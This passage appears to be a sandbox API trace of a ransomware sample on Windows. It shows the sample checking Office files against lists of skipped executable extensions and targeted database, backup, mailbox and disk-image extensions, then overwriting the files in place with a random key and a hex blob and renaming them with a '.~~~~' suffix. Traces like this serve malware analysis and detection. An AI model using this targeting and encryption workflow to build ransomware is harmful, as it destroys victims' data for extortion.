	[0146.827] lstrlenW (lpString=".txt") returned 4
	[0146.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".txt") returned 0x0
	[0146.827] lstrlenW (lpString=".mdt") returned 4
	[0146.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".mdt") returned 0x0
	[0146.827] lstrlenW (lpString=".BDB") returned 4
	[0146.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".BDB") returned 0x0
	[0146.827] lstrlenW (lpString=".eql") returned 4
	[0146.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".eql") returned 0x0
	[0146.827] lstrlenW (lpString=".DBF") returned 4
	[0146.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".DBF") returned 0x0
	[0146.827] lstrlenW (lpString=".EQL") returned 4
	[0146.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".EQL") returned 0x0
	[0146.828] lstrlenW (lpString=".FDB") returned 4
	[0146.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".FDB") returned 0x0
	[0146.828] lstrlenW (lpString=".EDB") returned 4
	[0146.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".EDB") returned 0x0
	[0146.828] lstrlenW (lpString=".DACPAC") returned 7
	[0146.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".DACPAC") returned 0x0
	[0146.828] lstrlenW (lpString=".VHD") returned 4
	[0146.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".VHD") returned 0x0
	[0146.828] lstrlenW (lpString=".DBV") returned 4
	[0146.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".DBV") returned 0x0
	[0146.828] lstrlenW (lpString=".dacpac") returned 7
	[0146.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".dacpac") returned 0x0
	[0146.828] lstrlenW (lpString=".sdf") returned 4
	[0146.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".sdf") returned 0x0
	[0146.828] lstrlenW (lpString=".accdb") returned 6
	[0146.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".accdb") returned 0x0
	[0146.828] lstrlenW (lpString=".DBX") returned 4
	[0146.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".DBX") returned 0x0
	[0146.828] lstrlenW (lpString=".MDT") returned 4
	[0146.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".MDT") returned 0x0
	[0146.828] lstrlenW (lpString=".SQB") returned 4
	[0146.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".SQB") returned 0x0
	[0146.828] lstrlenW (lpString=".vhd") returned 4
	[0146.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".vhd") returned 0x0
	[0146.828] lstrlenW (lpString=".bac") returned 4
	[0146.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".bac") returned 0x0
	[0146.829] lstrlenW (lpString=".mdf") returned 4
	[0146.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".mdf") returned 0x0
	[0146.829] lstrlenW (lpString=".BAK") returned 4
	[0146.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".BAK") returned 0x0
	[0146.829] lstrlenW (lpString=".BAC") returned 4
	[0146.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".BAC") returned 0x0
	[0146.829] lstrlenW (lpString=".dbs") returned 4
	[0146.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".dbs") returned 0x0
	[0146.829] lstrlenW (lpString=".vhdx") returned 5
	[0146.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".vhdx") returned 0x0
	[0146.829] lstrlenW (lpString=".NDF") returned 4
	[0146.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".NDF") returned 0x0
	[0146.829] lstrlenW (lpString=".dat") returned 4
	[0146.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".dat") returned 0x0
	[0146.829] lstrlenW (lpString=".DBS") returned 4
	[0146.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".DBS") returned 0x0
	[0146.829] lstrlenW (lpString=".CKP") returned 4
	[0146.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".CKP") returned 0x0
	[0146.829] lstrlenW (lpString=".edb") returned 4
	[0146.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".edb") returned 0x0
	[0146.829] lstrlenW (lpString=".PST") returned 4
	[0146.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".PST") returned 0x0
	[0146.829] lstrlenW (lpString=".dbf") returned 4
	[0146.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".dbf") returned 0x0
	[0146.830] lstrlenW (lpString=".SQL") returned 4
	[0146.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".SQL") returned 0x0
	[0146.830] lstrlenW (lpString=".pst") returned 4
	[0146.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".pst") returned 0x0
	[0146.830] lstrlenW (lpString=".dbv") returned 4
	[0146.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".dbv") returned 0x0
	[0146.830] lstrlenW (lpString=".SDF") returned 4
	[0146.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".SDF") returned 0x0
	[0146.830] lstrlenW (lpString=".dtxs") returned 5
	[0146.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".dtxs") returned 0x0
	[0146.830] lstrlenW (lpString=".db3") returned 4
	[0146.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".db3") returned 0x0
	[0146.830] lstrlenW (lpString=".OST") returned 4
	[0146.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".OST") returned 0x0
	[0146.830] lstrlenW (lpString=".dbx") returned 4
	[0146.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".dbx") returned 0x0
	[0146.830] lstrlenW (lpString=".DB3") returned 4
	[0146.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".DB3") returned 0x0
	[0146.830] lstrlenW (lpString=".DAT") returned 4
	[0146.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".DAT") returned 0x0
	[0146.830] lstrlenW (lpString=".VHDX") returned 5
	[0146.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".VHDX") returned 0x0
	[0146.830] lstrlenW (lpString=".ndf") returned 4
	[0146.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".ndf") returned 0x0
	[0146.830] lstrlenW (lpString=".DB") returned 3
	[0146.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".DB") returned 0x0
	[0146.831] lstrlenW (lpString=".sql") returned 4
	[0146.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".sql") returned 0x0
	[0146.831] lstrlenW (lpString=".MYD") returned 4
	[0146.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".MYD") returned 0x0
	[0146.831] lstrlenW (lpString=".DBT") returned 4
	[0146.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".DBT") returned 0x0
	[0146.831] lstrlenW (lpString=".ACCDB") returned 6
	[0146.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".ACCDB") returned 0x0
	[0146.831] lstrlenW (lpString=".fdb") returned 4
	[0146.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".fdb") returned 0x0
	[0146.831] lstrlenW (lpString=".bak") returned 4
	[0146.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".bak") returned 0x0
	[0146.831] lstrlenW (lpString=".myd") returned 4
	[0146.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".myd") returned 0x0
	[0146.831] lstrlenW (lpString=".DTXS") returned 5
	[0146.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".DTXS") returned 0x0
	[0146.831] lstrlenW (lpString=".ckp") returned 4
	[0146.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".ckp") returned 0x0
	[0146.831] lstrlenW (lpString=".dbt") returned 4
	[0146.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".dbt") returned 0x0
	[0146.831] lstrlenW (lpString=".db") returned 3
	[0146.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".db") returned 0x0
	[0146.831] lstrlenW (lpString=".TXT") returned 4
	[0146.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".TXT") returned 0x0
	[0146.832] lstrlenW (lpString=".MDF") returned 4
	[0146.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".MDF") returned 0x0
	[0146.832] lstrlenW (lpString=".bdb") returned 4
	[0146.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".bdb") returned 0x0
	[0146.832] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0146.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0146.832] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x396268) returned 1
	[0146.833] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0146.833] CryptReleaseContext (hProv=0x396268, dwFlags=0x0) returned 1
	[0146.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0146.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0146.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0146.833] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26682354819) returned 1
	[0146.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xc0ebe870, dwHighDateTime=0x1d60e1e)) 
	[0146.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0146.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0146.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0146.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380698
	[0146.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380698 | out: hHeap=0x300000) returned 1
	[0146.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0146.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870268
	[0146.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0146.834] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0146.835] GetLastError () returned 0x0
	[0146.835] GetLastError () returned 0x0
	[0146.835] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0146.835] GetLastError () returned 0x0
	[0146.835] GetLastError () returned 0x0
	[0146.835] ReadFile (in: hFile=0x104, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.839] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.839] WriteFile (in: hFile=0x104, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0146.841] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.841] WriteFile (in: hFile=0x104, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.843] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.843] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.843] CloseHandle (hObject=0x104) returned 1
	[0146.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x395f38
	[0146.844] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddsf.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSF.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\accddsf.dll.~~~~")) returned 1
	[0146.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x395f38 | out: hHeap=0x300000) returned 1
	[0146.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0146.846] GetLastError () returned 0x0
	[0146.847] RtlWakeConditionVariable () returned 0x0
	[0146.847] GetCurrentThreadId () returned 0x9cc
	[0146.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".scr") returned 0x0
	[0146.847] lstrlenW (lpString=".cmd") returned 4
	[0146.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".cmd") returned 0x0
	[0146.847] lstrlenW (lpString=".dll") returned 4
	[0146.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".dll") returned 0x0
	[0146.847] lstrlenW (lpString=".bat") returned 4
	[0146.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".bat") returned 0x0
	[0146.847] lstrlenW (lpString=".cpl") returned 4
	[0146.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".cpl") returned 0x0
	[0146.847] lstrlenW (lpString=".sys") returned 4
	[0146.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".sys") returned 0x0
	[0146.847] lstrlenW (lpString=".msc") returned 4
	[0146.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".msc") returned 0x0
	[0146.847] lstrlenW (lpString=".com") returned 4
	[0146.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".com") returned 0x0
	[0146.847] lstrlenW (lpString=".lnk") returned 4
	[0146.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".lnk") returned 0x0
	[0146.848] lstrlenW (lpString=".msp") returned 4
	[0146.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".msp") returned 0x0
	[0146.848] lstrlenW (lpString=".pif") returned 4
	[0146.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".pif") returned 0x0
	[0146.848] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch="msp\r\n.pif") returned 0x0
	[0146.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0146.866] lstrlenW (lpString=".sqb") returned 4
	[0146.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".sqb") returned 0x0
	[0146.866] lstrlenW (lpString=".ost") returned 4
	[0146.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".ost") returned 0x0
	[0146.866] lstrlenW (lpString=".txt") returned 4
	[0146.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".txt") returned 0x0
	[0146.866] lstrlenW (lpString=".mdt") returned 4
	[0146.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".mdt") returned 0x0
	[0146.866] lstrlenW (lpString=".BDB") returned 4
	[0146.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".BDB") returned 0x0
	[0146.866] lstrlenW (lpString=".eql") returned 4
	[0146.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".eql") returned 0x0
	[0146.866] lstrlenW (lpString=".DBF") returned 4
	[0146.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".DBF") returned 0x0
	[0146.866] lstrlenW (lpString=".EQL") returned 4
	[0146.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".EQL") returned 0x0
	[0146.867] lstrlenW (lpString=".FDB") returned 4
	[0146.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".FDB") returned 0x0
	[0146.867] lstrlenW (lpString=".EDB") returned 4
	[0146.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".EDB") returned 0x0
	[0146.867] lstrlenW (lpString=".DACPAC") returned 7
	[0146.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".DACPAC") returned 0x0
	[0146.867] lstrlenW (lpString=".VHD") returned 4
	[0146.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".VHD") returned 0x0
	[0146.867] lstrlenW (lpString=".DBV") returned 4
	[0146.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".DBV") returned 0x0
	[0146.867] lstrlenW (lpString=".dacpac") returned 7
	[0146.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".dacpac") returned 0x0
	[0146.867] lstrlenW (lpString=".sdf") returned 4
	[0146.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".sdf") returned 0x0
	[0146.867] lstrlenW (lpString=".accdb") returned 6
	[0146.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".accdb") returned 0x0
	[0146.867] lstrlenW (lpString=".DBX") returned 4
	[0146.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".DBX") returned 0x0
	[0146.867] lstrlenW (lpString=".MDT") returned 4
	[0146.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".MDT") returned 0x0
	[0146.867] lstrlenW (lpString=".SQB") returned 4
	[0146.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".SQB") returned 0x0
	[0146.867] lstrlenW (lpString=".vhd") returned 4
	[0146.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".vhd") returned 0x0
	[0146.867] lstrlenW (lpString=".bac") returned 4
	[0146.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".bac") returned 0x0
	[0146.868] lstrlenW (lpString=".mdf") returned 4
	[0146.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".mdf") returned 0x0
	[0146.868] lstrlenW (lpString=".BAK") returned 4
	[0146.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".BAK") returned 0x0
	[0146.868] lstrlenW (lpString=".BAC") returned 4
	[0146.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".BAC") returned 0x0
	[0146.868] lstrlenW (lpString=".dbs") returned 4
	[0146.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".dbs") returned 0x0
	[0146.868] lstrlenW (lpString=".vhdx") returned 5
	[0146.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".vhdx") returned 0x0
	[0146.868] lstrlenW (lpString=".NDF") returned 4
	[0146.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".NDF") returned 0x0
	[0146.868] lstrlenW (lpString=".dat") returned 4
	[0146.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".dat") returned 0x0
	[0146.868] lstrlenW (lpString=".DBS") returned 4
	[0146.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".DBS") returned 0x0
	[0146.868] lstrlenW (lpString=".CKP") returned 4
	[0146.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE", lpSrch=".CKP") returned 0x0
	[0146.868] lstrlenW (lpString=".edb") returned 4
